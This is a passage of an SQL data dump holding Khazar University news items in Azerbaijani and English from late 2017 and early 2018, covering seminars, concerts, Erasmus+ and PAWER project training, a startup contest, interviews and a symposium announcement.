etdilər. Konsertin sonunda xalq artisti Fidan Hacıyeva ilə tələbələrinin birgə ifasında Müslüm Maqomayevin “Azərbaycan” mahnısı səsləndi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, tələbələrin çıxışını yüksək qiymətləndirdi və onlara uğurlar arzuladı.</p><p>Sonda universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqova Fidan Hacıyeva adına Musiqi Məktəbinin Xəzər Universitetinin təşəkkürnaməsi ilə təltif olunduğunu bildirdi və təşəkkürnaməni xalq artistinə təqdim etdi.</p>'),(4402,2609,'az','Rəqsi ilə məşhurlaşan həkim müsahibə verdi','Sosial şəbəkələrdə yayılan rəqs görüntüləri ilə populyarlıq qazanan Xəzər Universitetinin məzunu, Rusiyada işləyən azərbaycanlı...','<p>Sosial şəbəkələrdə yayılan rəqs görüntüləri ilə populyarlıq qazanan Xəzər Universitetinin məzunu, Rusiyada işləyən azərbaycanlı həkim Ruslan Xanbutayev <em><strong>AzVision.az</strong></em> xəbər saytına müsahibə vermişdir.</p><p>Müsahibəni bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"https://azvision.az/news/129905/reqsi-ile-meshurlasan-azerbaycanli-hekim-hicabli-xanimlar-dogusa-erleri-ile-girir-musahibe.html\">https://azvision.az/news/129905/reqsi-ile-meshurlasan-azerbaycanli-hekim-hicabli-xanimlar-dogusa-erleri-ile-girir-musahibe.html</a>;</p><p><a href=\"http://www.dia.az/8/159458-reqsi-ile-meshhurlashan-azerbaycanli-hekim.html\">http://www.dia.az/8/159458-reqsi-ile-meshhurlashan-azerbaycanli-hekim.html</a>.</p>'),(4403,2610,'az','İqtisadiyyat və menecment fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi','2017-ci il noyabrın 2-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima...','<p>2017-ci il&nbsp;noyabrın 2-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova İqtisadiyyat və menecment fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirdi. Seminar zamanı tələbələrə Xəzər Universitetinin tərəfdaş kimi iştirak etdiyi Erasmus+ “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) layihəsi, layihə çərçivəsində görülmüş və planlaşdırılmış fəaliyyətlər haqqında məlumat verildi.</p><p>Seminar zamanı həmçinin Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında geniş təqdimat olundu və Mərkəzin təklif etdiyi xidmətlər haqqında da tələbələrə məlumat verildi. Tələbələr Əlilliyi olan Tələbər üçün Mərkəzdə yerləşən avadanlıqlarla da tanış oldular.</p>'),(4404,2611,'az','\"Xəzər\"də imtahan həyəcanları – FOTOSESSİYA','',''),(4405,2512,'en','Seminar on the occasion of World Mental Health Day','On October 10, a seminar entitled \"Discover the Happiness\", on the occasion of World Mental Health Day, was organised by the...','<p>On October 10, a seminar entitled \"Discover the Happiness\", on the occasion of World Mental Health Day, was organised by the Department of Psychology, Khazar University and Khazar Psychological Service Center.&nbsp;</p><p>The discussions and debates covered the topics like ‘The peculiarity of the World Mental Health Day’, ‘Rules of turning to psychologists and psychiatrists’, ‘What is Happiness and how it can be achieved?, ‘Secrets of happiness in personal and business life’. The seminar was attended by the students and instructors of the Department of Psychology and the university staff.</p>'),(4406,2612,'az','Londonun Middlesex Universitetində PAWER layihəsi üzrə təlimlər keçirildi','2017-ci il oktyabrın 28-dən noyabrın 3-dək Xəzər Universitetinin əməkdaşları Böyük Britaniyanın Middlesex Universitetində PAWER layihəsi...','<p>2017-ci il oktyabrın 28-dən noyabrın 3-dək Xəzər Universitetinin əməkdaşları Böyük Britaniyanın Middlesex Universitetində PAWER layihəsi çərçivəsində keçirilən təlimdə iştirak etdilər.</p><p>L\'Aquila Universitetinin (İtaliya) koordinasiya etdiyi PAWER (Regionlararası Mobilliyin və Keçid Uyğunluğunun Yolunun Açılması, Keyfiyyət və Keçid Bərabərliyi) layihəsinin iştirakçılarından biri də Xəzər Universitetidir. Layihə, kredit ayırma və qiymətləndirmə sistemini uyğunlaşdıraraq, AB və tərəfdaş ölkələr arasında hərəkətliliyi təşviq etməyi və dəstəkləməyi hədəfləyir.</p><p>Gürcüstan, Macarıstan, İtaliya, Qazaxıstan, Qırğızıstan, Monqolustan, Rusiya, Tacikistan və Özbəkistan universitetlərinin nümayəndələri təlimdə bir araya gəldilər. Tədbirdə Xəzər Universitetini İnkişaf Mərkəzinin&nbsp;direktoru xanım Raziyə İsayeva və Beynəlxalq Əlaqələr Şöbəsinin müdiri Turan Cəfərova təmsil edirdilər.</p><p>Təlimin məqsədi Bolonya prosesi, AKTS&nbsp;(ECTS), mobillik sazişləri, mübadiləsi zamanı və sonrasında dəstək, hərəkətlilik siyasəti və s. daxil olmaqla, tələbələr və işçilərin hərəkətliliyinə dair mühüm məsələləri müzakirə etmək idi. Təlim, həmçinin, ölkələrində seminarlar və bacarıqların artırılması ilə layihə məlumatlarının yayılmasına davam edəcək olan milli təlimçiləri hazırlamağı nəzərdə tutur.</p>'),(4407,2612,'en','PAWER Project Training at Middlesex University in London','On October 28-November 3, 2017, staff members of Khazar University participated in a training that took place within the PAWER...','<p>On October 28-November 3, 2017, staff members of Khazar University participated in a training that took place within the PAWER project at Middlesex University in London, UK.</p><p>Khazar University is one of the universities participating in the PAWER (Paving the Way to Interregional Mobility and Ensuring Relevance, Quality and Equity of Access) project coordinated by the University of L’Aquila (Italy). The project aims at promoting and supporting mobility between EU and partner countries by harmonizing the credit allocation and grading system.</p><p>The training brought together representatives of universities from Georgia, Hungary, Italy, Kazakhstan, Kyrgyzstan, Mongolia, Russia, Tajikistan, and Uzbekistan. Development Director Ms. Raziya Isayeva and Director of International Affairs Office Ms. Turan Jafarova represented Khazar University during the training.</p><p>The goal of the training was to discuss important issues associated with mobility of students and staff, including Bologna process, ECTS, mobility agreements, support before, during and after exchanges, mobility policy, and others. The training also aimed at preparing national trainers who will continue disseminating project information by delivering workshops and building capacity in their home countries.</p>'),(4408,2613,'az','Xəzər Universitetinin müəllim və tələbələri Xəzər Texniki Konfransı və Sərgisində iştirak etdilər','2017-ci il noyabrın 1-dən 3-dək Bakıda keçirlən Neft Mühəndisləri Cəmiyyətinin (SPE) Xəzər Texniki Konfransı və Sərgisində Xəzər Universitetinin...','<p>2017-ci il noyabrın 1-dən 3-dək Bakıda keçirlən Neft Mühəndisləri Cəmiyyətinin (SPE) Xəzər Texniki Konfransı və Sərgisində Xəzər Universitetinin müəllim və tələbələri iştirak etdilər. Neft mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalovun və həmin departamentin doktorantı Şəhriyar Alxaslının həmmüəllif olduqları “Outcrop Analogue Study of Deformation Bands and Their Impact on Rock Properties of the Productive Series in South Caspian Basin” və Kimya mühəndisliyi departamentinin müəllimi Dr. Rəsul Moradi, Neft mühəndisliyi departamentinin doktorantı Məsud Mehrizadə və Mühəndislik və tətbiqi elmlər fakültəsinin dekan əvəzi Dr. Hassan Niknafsın həmmüəllif olduqları “Produced Water Treatment by Using Nano-fibrous Polyvinylidene Fluoride Membrane in Air Gap Membrane Distillation” mövzusunda məruzələrin təqdimatı oldu. Həmin məruzələrin geniş məqalələri Neft Mühəndisliyi Cəmiyyətinin&nbsp;“OnePetro” məlumat sistemində çap olunmuşdur.</p><p>Məqalələri bu linklər vasitəsilə oxumaq olar:</p><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;from</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">SearchResults=true&amp;to_year=&amp;rows=10#</a></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018-MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">https://www.onepetro.org/conference-paper/SPE-189018-MS?sort=&amp;start=0&amp;q=</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018- MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;from</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018- MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">SearchResults=true&amp;to_year=&amp;rows=10#</a></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><br></div>'),(4409,2598,'en','Informative Seminar held for the Students of the School of Engineering and Applied Sciences','On October 31, 2017, an informative seminar for the students of the School of Engineering and Applied Sciences was held by Rima...','<p>On October 31, 2017, an informative seminar for the students of the School of Engineering and Applied Sciences was held by Rima Mammadova, the Project Manager of the University and Coordinator of the Center for the Students with Disabilities. During the seminar, the students were informed about Erasmus+ AESOP (<em>Advocacy Establishment for Students through Ombudsman Position</em>) project, in which Khazar university participated as a partner, as well as the activities implemented within the framework of the project and the ones planned to be carried out in the future.</p><p>In the seminar, a presentation on <em>the Centre for the Students with Disabilities</em> was delivered and the students were informed about the services offered by the centre.</p>'),(4410,2589,'en','Informative Seminar held for the Students of the School of Education','On October 27, 2017, an informative seminar for the students of the School of Education was held by Rima Mammadova...','<p>On October 27, 2017, an informative seminar for the students of the School of Education was held by Rima Mammadova, the Project Manager of the University and Coordinator of the Center for the Students with Disabilities. During the seminar, the students were informed about Erasmus+ AESOP (<em>Advocacy Establishment for Students through Ombudsman Position</em>) project, in which Khazar university participated as a partner, as well as the activities implemented within the framework of the project and the ones planned to be carried out in the future.</p><p>In the seminar, a presentation on <em>the Centre for the Students with Disabilities</em> was delivered and the students were informed about the services offered by the centre.</p>'),(4411,2614,'az','Tarixçilər Milli Azərbaycan Tarixi Muzeyi fondunda oldular','2017-ci il oktyabrın 27-də Xəzər Universitetinin tarix müəllimliyi ixtisası üzrə təhsil alan I kurs tələbələri Milli Azərbaycan Tarixi Muzeyində...','<p>2017-ci il oktyabrın 27-də Xəzər Universitetinin tarix müəllimliyi ixtisası üzrə təhsil alan I kurs tələbələri Milli Azərbaycan Tarixi Muzeyində fond işinin təşkili haqqında “Milli Azərbaycan Tarixi Muzeyində fond işinin təşkili və əhəmiyyəti”&nbsp;adlı mühazirə dinlədilər. Muzeyin Arxeologiya elmi fond şöbəsinin müdiri t.ü.f.d. Nasir Quluzadənin oxuduğu və slaydlarla müşayiət olunan mühazirəni tələbələr maraqla dinlədilər. Mühazirədə Arxeologiya fondunda mühafizə edilən kolleksiyaların tərkibi, arxeoloji materialların inventarizasiyası və pasportlaşdırılması, saxlanc yerlərinin tipləri, sanitar təmizləmə işlərinin əhəmiyyəti haqqında danışıldı. Həmçinin təhlükəsizlik sistemlərinin vəziyyəti, texniki avadanlıq və qurğuların iş prinsipi, restavrasiya və konservasiya işlərinin gedişi haqqında geniş məlumat verildi. Sonda tələbələrə Arxeologiya fondu ilə əyani tanışlıq üçün ekskursiya təşkil edildi.</p>'),(4412,2615,'az','Xəzər Universitetinin əməkdaşları ilə bağlı xəbər EURAS.Express-də','2017-ci il oktyabrın 28-dən noyabrın 3-dək Xəzər Universitetinin əməkdaşlarının Böyük Britaniyanın Middlesex...','<p>2017-ci il oktyabrın 28-dən noyabrın 3-dək Xəzər Universitetinin əməkdaşlarının Böyük Britaniyanın Middlesex Universitetində PAWER layihəsi çərçivəsində keçirilən təlimdə iştirak etməsi xəbəri Avrasiya Akademiyasının elektron bülleteni <em><strong>EURAS.Express</strong></em>-də yayınlanmışdır.</p><p>Xəbəri bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://bulten.jettsms.com/mailing/da515ea4-4d41-44cd-85d8-014e22e9a069.html\">http://bulten.jettsms.com/mailing/da515ea4-4d41-44cd-85d8-014e22e9a069.html</a></p>'),(4413,2616,'az','Xəzər Universitetinin keçmiş tələbəsinin müsahibəsi yayınlandı','2017-ci il noyabrın 6-da Xəzər Universitetinin keçmiş tələbəsi...','<p>2017-ci il noyabrın 6-da Xəzər Universitetinin keçmiş tələbəsi (məzun olmamışdır), hazırda aktrisa və teleaparıcı kimi fəaliyyət göstərən Mələk Heydərova <strong><em>azerbaycaninfo.az</em></strong> saytına müsahibə vermişdir.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://azerbaycaninfo.az/sou-biznes/15887-azerbaycanin-beren-saati-melek-heyderova-danishdi-ailemi-yaradiciligima-qurban-vermerem.html\">http://azerbaycaninfo.az/sou-biznes/15887-azerbaycanin-beren-saati-melek-heyderova-danishdi-ailemi-yaradiciligima-qurban-vermerem.html</a></p>'),(4414,2590,'en','“Global Education” I International Symposium on Educational Sciences to be held at Khazar University in April 2018','On April 20-21, 2018, Khazar University will hold the 1st International Symposium on Educational Sciences entitled “Global Education...','<p>On April 20-21, 2018, Khazar University will hold the 1st International Symposium on Educational Sciences entitled “Global Education.” The symposium will be dedicated to the 70th anniversary of Professor Hamlet Isakhanli, the founder of Khazar University, Chairman of its Board of Directors and Trustees, mathematician, poet, science and social science writer, prominent public figure, and a well-known education expert.</p><p>The main aim of the symposium to be held with participation of scholars and researchers from a variety of universities around the globe is to discuss recent developments in educational sciences, latest innovations in education, and integration of Azerbaijan into the global educational space as well as encourage young researchers to pursue research in new areas of educational sciences.</p><p>Research papers are accepted in Azerbaijani language, Turkish, Russian and English.</p>  <p>To attend the symposium as a speaker or listener <strong><a href=\"/files/letters/Qeydiyyat_formasi_-_eng-s.doc\">register here</a></strong> and submit an abstract of your article to&nbsp;<a href=\"mailto:edusymposium@khazar.org\">edusymposium@khazar.org</a> until the deadline (15.02.2018).&nbsp;</p><p><span style=\"font-size:large\"><br></span></p><p><span style=\"font-size:large\"><strong>SYMPOSIUM TOPICS</strong></span></p><ul><li>World education systems, education policy and strategy</li><li>Processes and innovations in higher education</li><li>A strategy to improve the training curriculum</li><li>Education management and leadership</li><li>Education planning and economics</li><li>Application of technology in education</li><li>Socio-cultural bases of education (philosophy, sociology, psychology and history)</li></ul><p>A link for website of the symposium:  <br></p><p><a href=\"http://edusymposium.khazar.org/folder/English/index_En.php\">http://edusymposium.khazar.org/folder/English/index_En.php</a>.<br></p>'),(4415,2617,'az','Xəzər Universitetinin tələbələri Çin şeirinin oxunması yarışında iştirak etdilər','2017-ci il oktyabrın 21-də Xəzər Universitetinin Çin dili tələbələri Bakı Dövlət Universitetində keçirilən...','<p>2017-ci il oktyabrın 21-də Xəzər Universitetinin Çin dili tələbələri Bakı Dövlət Universitetində keçirilən Çin şeirinin oxunması yarışında iştirak etdilər. Tədbirdə İqtisadiyyat və menecment fakültəsinin tələbələri iştirak edirdilər. Əxanullah Nəzəri, Ağaxan Bağırlı və Joyce Lisa Muduve birlikdə “ZaSHi”, Nicat İsmayılov və Məhəmməd Bağırlı “Buddist rəqqaslar”, Əsəd Əsədov və İlqar Orucov “Dalğalar qumu ələyir” və Fatima Əsədova “Əbədi həsrət” şeirlərini oxudular.</p><p>Murtaza Əfzalı Çin Yazı Yarışmasında ən yüksək mükafatı aldı və bu münasibətlə mükafatlandırıldı.</p>'),(4416,2617,'en','Students from Khazar University took part in a in a Chinese Poem Reading Performance','On October 21, 2017, Chinese class students from Khazar University took part in a Chinese Poem Reading Performance...','<p>On October 21, 2017, Chinese class students from Khazar University took part in a Chinese Poem Reading Performance held in Baku state University. Students from the School of Economics and Management attended the event. Amanullah Nazari, Agakhan Bagırlı and Joyce Lisa Muduve presented “ZaSHi” together, Nijat İsmayılov and Mahammad Bagırlı read “Buddhist Dancers”,&nbsp;Asad Asadov and Ilgar Orujov showed “Riples Sifting Sand” and Fatima Asadova read “Everlasting longing”.</p><p>Murtaza Afzali got Excellent Prize in Chinese Character Writing Competition and was awarded in this ceremony.</p>'),(4730,2805,'en','November issue of \"Dunya\" journal published','The November issue (number 21, 2017) of “Dunya” journal, a monthly journal of Dunya School...','<p>The November issue (number 21, 2017) of “Dunya” journal, a monthly journal of Dunya School, Khazar University, was published by the publishing house of Khazar University.</p>'),(4441,2632,'en','“The Chain” Info Session Day at Khazar University','On November 13, 2017, the team “The Chain” organized a one-day info session at Khazar University within the International Education Week...','<p>On November 13, 2017, the team “The Chain” organized a one-day info session at Khazar University within the International Education Week, organized by the International Affairs Office. During the info session, the team members gave information to staff and students about their campaign. The main purpose was to enhance the scope of the campaign, inform more people and invite others to support the campaign.</p><p>The event was well-attended by the staff members and students of the university – about one hundred people signed up for a chance to win one of the campaign branded cups. During the event, the attendees were encouraged to take a photo with <strong><em>#iampartofthechain</em></strong> hashtag and share it on their social media accounts. This will help the team to reach a bigger audience and make the scope of the campaign global.</p><p>“The Chain” is a social media campaign designed by the students of Khazar University to fight hate-speech online. The campaign is carried out within the university’s participation in the “P2P: Facebook Global Digital Challenge” project sponsored by Facebook and managed by EdVenture Partners.</p><p>Participation of Khazar University in “Peer to Peer: Facebook Global Digital Challenge” is coordinated by the International Affairs Office.</p>'),(4442,2633,'en','Khazar University receives the License of the ProMax process simulation software','For over 40 years, Bryan Research & Engineering (BR&E) based in Bryan Texas has provided the energy industry with process simulation software...','<p style=\"text-align:center\"><img src=\"/files/letters/br.png\" style=\"width:452px;height:86px;vertical-align:text-bottom\"><br></p><p>For over 40 years, Bryan Research &amp; Engineering (BR&amp;E) based in Bryan Texas has provided the energy industry with process simulation software renowned for its ability to accurately and efficiently predict the performance of gas processing, refining and petrochemical processes. This company with a long history of research and development combined with their commitment to excellence unite to ensure that clients receive the best available simulation tools.</p><p><strong>ProMax </strong>is a powerful and versatile process simulation software package provided by Bryan Research &amp; Engineering widely used by Chemical and Petroleum engineers worldwide for designing and optimizing gas processing, refining and chemical facilities. This software has lots of capabilities including modeling of an entire processing facility and associated support systems, designing heat exchangers, acid gas removal systems and modeling any other processes which are essential for understanding the phenomena happening in pertinent industries.</p><p>According to the agreement in between Khazar University and Bryan Research &amp; Engineering there is going to be a training session from 06.12.2017 to 08.12.2017 at Khazar University. Any further information in regards to Bryan Research &amp; Engineering Company and Promax software could be obtained by visiting the following link:&nbsp;</p><p><a href=\"https://www.bre.com/Default.aspx\">https://www.bre.com/Default.aspx</a>.</p>'),(4425,2623,'az','SPE-Azərbaycan bölməsinin illik icmalı Hamlet İsaxanlının fikirlərinə yer verdi','2017-ci il noyabrın 1-də Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin (SPE-Azerbaijan Section) 2016-2017-ci illər üçün...','<p>2017-ci il noyabrın 1-də Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin (SPE-Azerbaijan Section) 2016-2017-ci illər üçün olan illik icmalı yayımlanmışdır. İllik icmalda SPE-Azərbaycan bölməsinə aid məsələlərin əhatə olunması ilə yanaşı, Xəzər Universitetinin “eiLink” adlı tədqiqat və inkişaf mərkəzi, SPE-Azərbaycan bölməsi ilə sıx əlaqə saxlayan tələbələr və onların həyata keçirdikləri layihələr barədə mövzular işıqlandırılmışdır.</p><p>İcmalın sonunda Xəzər Universitetinin təsisçisi,&nbsp;Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının Xəzər Universiteti və SPE-Azərbaycan bölməsi arasındakı əməkdaşlıq haqqında fikirləri də yer almışdır.</p><p>Xəzər Universitetinin tədqiqat və inkişaf mərkəzi haqqındakı məqalə və Prof. Hamlet İsaxanlının qısa nitqi ilə verilmiş <strong><a href=\"/files/letters/SPE_annual_report_2017.pdf\">PDF</a>&nbsp;</strong>faylında&nbsp;tanış ola bilərsiniz.<br></p>'),(4426,2624,'az','Xəzər StartUp layihəsinin üçüncü mərhələsi başa çatdı','2017-ci il noyabrın 7-də Xəzər StartUp layihəsinin üçüncü mərhələsi başa çatdı. Qiymətləndirmə komissiyası...','<p>2017-ci il noyabrın 7-də <strong>Xəzər StartUp layihəsinin</strong> üçüncü mərhələsi başa çatdı. Qiymətləndirmə komissiyası geniş tərkibdə bütün iştirakçıların təkliflərini ətraflı müzakirə edərək, təqdim olunan layihələri üç meyar (orijinallıq, aktuallıq və tətbiqinin reallığı) üzrə qiymətləndirdi. Komissiyanın yekun qərarına əsasən aşağıda göstərilən iştirakçılar müvafiq yerləri qazandılar:</p><p><strong style=\"text-decoration-line:underline\">Birinci yer:</strong>&nbsp;Məhəmməd Əlizadə, Xəzər Universiteti, Elektronika, Telekommunikasiya və Radiotexnika ixtisasının tələbəsi.</p><p>–İdeya: Hazırkı dünyada istifadə olunan qaz sensorlarından fərqli olaraq, GSM900 modulu ilə mobil telefona zəng xəbərdarlığı edən <strong><em>qaz sensorunun</em></strong> yaradılmasını nəzərdə tutur.</p><p><strong style=\"text-decoration-line:underline\">İkinci yer:</strong>&nbsp;Vladislav Pristinski, Xəzər Universiteti, MBA tələbəsi.</p><p>–İdeya: İnsanlara alış-verişdə yeni orijinal sosial məsləhətçi olan <strong><em>Faşayzerin</em></strong> (Fashiser) yaradılmasını nəzərdə tutur.</p><p><strong><span style=\"text-decoration:underline\">Üçüncü yer:</span></strong> Aydın Səlimli, Xəzər Universiteti, Turizm və otelçilik ixisasının tələbəsi.</p><p>–İdeya: Tətbiqi və reallaşdırılması rahat olan, ikinci əl kitabların onlayn alış-veriş ehtiyacını qarşılayan <strong><em>secondbook.az</em></strong> veb saytının hazırlanmasını nəzərdə tutur.</p>'),(4422,2621,'az','Xəzər Universitetində xərçənglə mübarizəyə həsr olunmuş seminar keçiriləcək','2017-ci il noyabrın 10-u saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura Assosiasiyası universitetin...','<p>2017-ci il noyabrın 10-u saat 15:00-da Xəzər Universiteti Doktorantura və Magistratura Assosiasiyası universitetin konfrans zalında (otaq 102N) Fransanın Besancon Universitetinin xəstəxanasında Xərçəngin innovativ immun hədəflənməsi platformasının rəhbəri Dr.&nbsp;Kamal Əsgərovu qonaq edəcək. O, Xəzər Universitetində iştirakçılara “Xərçəng hüceyrələrinin hədəf olaraq müəyyənləşdirilməsi üçün effektivliyi daha güclü olan vasitələr: antimesotelin antibodiləri və CAR nümunəsi” adlı seminarını təqdim edəcək.</p><p>Maraqlanan hər kəs dəvət olunur.</p><p style=\"text-align:center\"><img src=\"/files/letters/seminar-kamal.jpg\" style=\"border:0px #000000;width:400px;height:285px;vertical-align:middle;margin-top:7px\"><br></p>'),(4423,2622,'az','Xəzər Universitetində keçirilmiş simpozium Dünya Tək Sağlamlıq Komissiyasının rəsmi veb və Facebook səhifələrində','2017-ci il noyabrın 3-də Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş Simpozium Dünya Tək Sağlamlıq...','<p>2017-ci il noyabrın 3-də Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş Simpozium Dünya Tək Sağlamlıq Komissiyasının rəsmi veb və Facebook səhifələrində də işıqlandırılmışdır. Qısaca olaraq, Dünya Tək Sağlamlıq Komissiyası insanlar, ev heyvanları, çöl həyatı, bitkilər və ümumilikdə, ətraf mühitin sağlamlığına nail olunmasına həsr olunmuş qlobal yönümlü bir təşkilatdır. Bu təşkilat ilk dəfə 1997-ci ilin aprelində Amerikanın Tibbi Veterinarlar Assosiasiyasının bir qrup alimləri tərəfindən yaradılmışdır. 2009-cu ildə təşkilatın qərargahı Vaşinqton şəhərinə köçürülmüş, 2010-cu ildə isə Amerikanın Ayova Dövlət Universiteti Dünya Tək Sağlamlıq Komissiyasının əsas tərəfdaşına çevrilmişdir. Hazırda dünyanın əksər ölkələrindən Dünya Tək Sağlamlıq Komissiyasına qoşulmuş çoxlu sayda üzvlər vardır. Xəzər Universitetində noyabrın 3-də keçirilmiş Dünya Tək Sağlamlıq Simpoziumu ilə paralel olaraq, eyni anda dünyanın 35 ölkəsində 101 tədbir və simpoziumlar (xəritədə qeyd edilmişdir)&nbsp;keçirilmişdir.</p><p>Bunu aşağıdakı&nbsp;link vasitəsilə izləmək olar:</p><p><a href=\"https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhavF5FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf\" style=\"font-size:large\">https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhav</a><a href=\"https://www.facebook.com/onehealthday/?hc_ref=ARSZ9w8678rGhavF5FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf\" style=\"font-size:large\">F5-FnrkC7AsBOBzt6f9VdDq7khh595GB17jxoAdHION9JsgsdzEL0&amp;fref=nf</a><span style=\"font-size:large\">.</span></p>'),(4429,2624,'en','Third Stage of Khazar StartUp Project completed','On November 7, 2017, the 3rd stage of the Khazar StartUp Project was over. The Evaluation Commission discussed all the participants\'...','<p>On November 7, 2017, the 3<sup>rd</sup> stage of the <strong>Khazar StartUp Project</strong> was over. The Evaluation Commission discussed all the participants\' proposals in details, evaluating the submitted projects on three criteria (originality, actuality and reality of application). Based on the final decision of the Commission, the following participants gained the respective places.</p><p><strong>1<sup>st</sup> Place:</strong> Mahammad Alizadeh, a student majoring in Electronics, Telecommunications and Radiotechnology, Khazar University.</p><p>– Idea: Creating <strong><em>gas sensors</em></strong> that warn mobile phones with GSM900 module, unlike the gas sensors used in the current world.</p><p><strong>2<sup>nd</sup> Place:</strong> Vladislav Pristinski, an MBA student, Khazar University.</p><p>– Idea: Creating <strong><em>Fashiser</em></strong>, the new original social consultant on shopping.</p><p><strong>3<sup>rd</sup> Place:</strong> Aydin Salimli, a student majoring in Tourism and Hospitality, Khazar University.&nbsp;</p><p>– Idea: Creating the <strong><em>secondbook.az</em></strong> website, whose application and implementation is convenient and meets the needs of second hand books shopping online.</p>'),(4430,2616,'en','Interview with Khazar University\'s former student released','On November 6, 2017, Melek Heyderova, an ex-student of Khazar University (not graduated), currently acting as an actress...','<p>On November 6, 2017, Melek Heyderova, an ex-student of Khazar University (not graduated), currently acting as an actress and TV journalist, gave an interview to <strong><em>azerbaycaninfo.az</em></strong> website.</p><p>An interview can be read through the link below:</p><p><a href=\"http://azerbaycaninfo.az/sou-biznes/15887-azerbaycanin-beren-saati-melek-heyderova-danishdi-ailemi-yaradiciligima-qurban-vermerem.html\">http://azerbaycaninfo.az/sou-biznes/15887-azerbaycanin-beren-saati-melek-heyderova-danishdi-ailemi-yaradiciligima-qurban-vermerem.html</a>  <br></p>'),(4431,2619,'en','Event on the occasion of People\'s Artist\'s Anniversary','On November 4, 2017, the Azerbaijan State Academic Philharmonic Hall hosted an event dedicated to the jubilee of Jamila Bayramova...','<p>On November 4, 2017, the Azerbaijan State Academic Philharmonic Hall hosted an event dedicated to the jubilee of Jamila Bayramova, People\'s Artist, Artistic Director and Founder of the Philharmonic Song and Dance Ensemble.</p><p>A slide-show devoted to the life and activities of the prominent dancer was demonstrated before the event, and the congratulatory video messages of the well-known scientific and cultural figures were sounded.</p><p>Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, in his congratulatory speech, spoke about the high art of Jamila Bayramova and mentioned about her fruitful activities while teaching at the university.</p><p>The event comprised of the performances of the dance groups in which Jamila Bayramova worked during her activity. Ballet group of Baku Choreography Academy, Azerbaijan State Dance Ensemble, “Jengi”, “Jujalarim”, and “Dejel” ensembles, Song and Dance ensemble of Khazar University congratulated her with their splendid performances.</p><p>At the jubilee event, it was announced that Jamila Bayramova was awarded the title of Honorary Cultural Worker by the Ministry of Culture and Tourism of the Republic of Azerbaijan.</p>'),(4977,2903,'en','Prof. Hamlet Isakhanli expressed his views on Integration of Education System of Azerbaijan into European Higher Education System','A research article “Integration into higher education system of Europe and Azerbaijan” was released on official website...','<p>A research article “Integration into higher education system of Europe and Azerbaijan” was released on official website of “Ekho” newspaper (in Russian) on February 5, 2018. The article includes views by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, on integration of education system of Azerbaijan into European higher education system.</p><p>A link to full article:</p><p><a href=\"http://ru.echo.az/?p=67063\">http://ru.echo.az/?p=67063</a>.</p>'),(4434,2627,'az','“Dünya” məktəbinin müəllimi Əlibəndə Əliyev faciəli surətdə vəfat etmişdir','2017-ci il noyabrın 11-nə keçən gecə Masazırda baş vermiş dəhşətli yanğın zamanı “Dünya” məktəbinin rəqs müəllimi Əlibəndə Əliyev 37 yaşında...','<p>2017-ci il noyabrın 11-nə keçən gecə Masazırda baş vermiş dəhşətli yanğın zamanı “Dünya” məktəbinin rəqs müəllimi Əlibəndə Əliyev 37 yaşında faciəli surətdə vəfat 